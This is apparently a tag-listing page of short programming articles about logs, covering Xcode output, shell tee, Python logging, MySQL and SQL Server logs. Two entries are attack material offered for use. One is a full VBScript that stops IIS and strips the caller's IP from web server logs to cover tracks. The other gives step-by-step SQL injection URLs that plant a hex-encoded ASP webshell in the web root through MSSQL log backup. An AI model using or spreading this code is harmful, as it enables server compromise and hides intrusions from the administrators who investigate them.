Tag:log

  • Summary of how to solve the problem that xcode9 log can’t output Chinese in IOS

    Time:2021-2-26

    Problem description Xcode’s log output in Chinese is usually rewrittenNsarray, nsdictionary’s – (nsstring *) descriptionwithlocale: (ID) locale;Method. Recently, after upgrading to xcode9, it was found that the original processing logic could not meet the requirement of outputting Chinese. The status description returned by the background involving Chinese has become Unicode encoding. In fact, this is […]

  • Using VBS to clear the record of logging in IP in IIS log

    Time:2020-9-10

    Option Explicit  Dim sourcefile,ipaddress,objargs const destfile=”tempfile” Const ForWriting = 2 Dim Text Dim fso,objNet,ServiceObj Dim txtStream, txtStreamOut  Set objArgs = WScript.Arguments  If objArgs.Count = 2 Then  sourcefile=objArgs(0) ipaddress=objargs(1) Else wscript.echo “Parameter Error”+ vbcrlf wscript.Echo “USAGE:KillLog.vbs LogFileName YourIP.” wscript.Quit 1 End If Set fso = CreateObject(“Scripting.FileSystemObject”) if fso.FileExists (sourcefile) then Set objNet = WScript.CreateObject( “WScript.Network” ) Set ServiceObj = GetObject(“WinNT://” & objNet.ComputerName & “/w3svc”) Set objNet=nothing ServiceObj.stop wscript.sleep 6000 Set txtStream = fso.OpenTextFile(sourcefile)  Set txtStreamOut = fso.OpenTextFile(destfile, ForWriting, True) Do While Not (txtStream.atEndOfStream)  Text = txtStream.ReadLine  if instr(Text,ipaddress)=0 then txtStreamOut.WriteLine Text  end if Loop Set txtStream = Nothing  Set txtStreamOut = Nothing WScript.Echo “The log file– ” & sourcefile &” has cleaned your IP!” Else WScript.Echo “The Log file– ” & sourcefile & ” has not found!” Wscript.quit End If fso.Copyfile destfile, sourcefile fso.deletefile destfile Set fso=Nothing ServiceObj.start Set ServiceObj = Nothing

  • The implementation of the shell to record the script output to the log file

    Time:2020-7-23

    Use the tee command: sh portal/main.sh |tee log.txt   Get script parent path cmddir=”`dirname $0`” The above shell records the script output results to the log file, which is the whole content shared by Xiaobian. I hope it can give you a reference, and I hope you can support developeppaer more.

  • Analysis of printing usage of logging records in Python log module

    Time:2020-6-5

    This article mainly introduces the python log module logging record printing usage analysis. The example code is introduced in detail in this article, which has a certain reference value for your study or work. You can refer to the following for your friends Basic course of log Log is a way to trace the events […]

  • The method of MSSQL 2005 log backup webshell

    Time:2020-1-2

    Note: reprint will be injected from the original works of “lone Longzi blog“http://itpro.blog.163.com First step http://itpro.blog.163.com/test.asp’;alter/**/database/**/[netwebhome]/**/set/**/recovery/**/full[/url]– The second step: http://itpro.blog.163.com/test.asp’;declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/database/**/[netwebhome]/**/to/**/disk%[email protected]/**/with/**/init– The third step http://itpro.blog.163.com/test.asp’;drop/**/table/**/[itpro]– The fourth stephttp://itpro.blog.163.com/test.asp’;create/**/table/**/[itpro]([a]/**/image)– The fifth stephttp://itpro.blog.163.com/test.asp’;declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%[email protected]/**/with/**/init– The sixth stephttp://itpro.blog.163.com/test.asp’;insert/**/into/**/[itpro]([a])/**/values(0x3C254578656375746528726571756573742822697470726F222929253E)– The seventh stephttp://itpro.blog.163.com/test.asp’;declare/**/@d/**/nvarchar(4000)/**/select/**/@d%0x64003A005C007700770077005C0077007700770072006F006F0074005C0077006F0077005C006C006500660074002E00610073007000/**/backup/**/log/**/[netwebhome]/**/to/**/disk%[email protected]/**/with/**/init– The eighth stephttp://itpro.blog.163.com/test.asp’;drop/**/table/**/[itpro]– The ninth stephttp://itpro.blog.163.com/test.asp’;declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%[email protected]/**/with/**/init– By: lone fox prodigal son QQ: 393214425

  • MySQL slow log table cannot be modified to InnoDB engine details

    Time:2019-12-20

    background It is very slow to get the slow query log from mysql.slow_log. This table is a CSV table and has no index. You want to add indexes to speed up access, but the CSV engine can’t add indexes (the storage of the CSV engine is comma separated text), so you have to change the […]

  • Solution to Clean up SQL Server 2008 Log File Cannot shrink log file 2

    Time:2019-8-11

    SQL 2008 log files occupy 233 hard disk space, while transaction logs have been truncated, the actual log content is very small, 1G is less than, want to release the excess space occupied by log files. However, no matter how Shrink log files are shrunk, space cannot be released and errors always occur: Cannot shrink […]